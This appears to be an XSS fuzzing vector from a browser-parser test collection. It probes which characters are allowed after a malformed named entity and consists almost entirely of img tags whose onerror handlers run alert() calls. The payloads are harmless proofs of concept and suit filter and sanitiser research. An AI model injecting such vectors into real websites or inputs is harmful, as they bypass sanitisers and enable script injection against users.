This vector shows what characters are allowed after a malformed names entity.
<img src=data: onerror="1&$[chr]log($[i])"><img src=data: onerror="1&&alert(38)"><img src=data: onerror="1& alert(8199)"><img src=data: onerror="1& alert(12288)"><img src=data: onerror="1&alert(65279)"><img src=data: onerror="1& alert(8194)"><img src=data: onerror="1& alert(160)"><img src=data: onerror="1&
alert(10)"><img src=data: onerror="1& alert(8201)"><img src=data: onerror="1&alert(59)"><img src=data: onerror="1&-alert(45)"><img src=data: onerror="1&0x0Dalert(13)"><img src=data: onerror="1&
alert(8233)"><img src=data: onerror="1& alert(8195)"><img src=data: onerror="1& alert(8202)"><img src=data: onerror="1& alert(8287)"><img src=data: onerror="1& alert(8239)"><img src=data: onerror="1&0x0Balert(11)"><img src=data: onerror="1&
alert(8232)"><img src=data: onerror="1& alert(8200)"><img src=data: onerror="1& alert(8192)">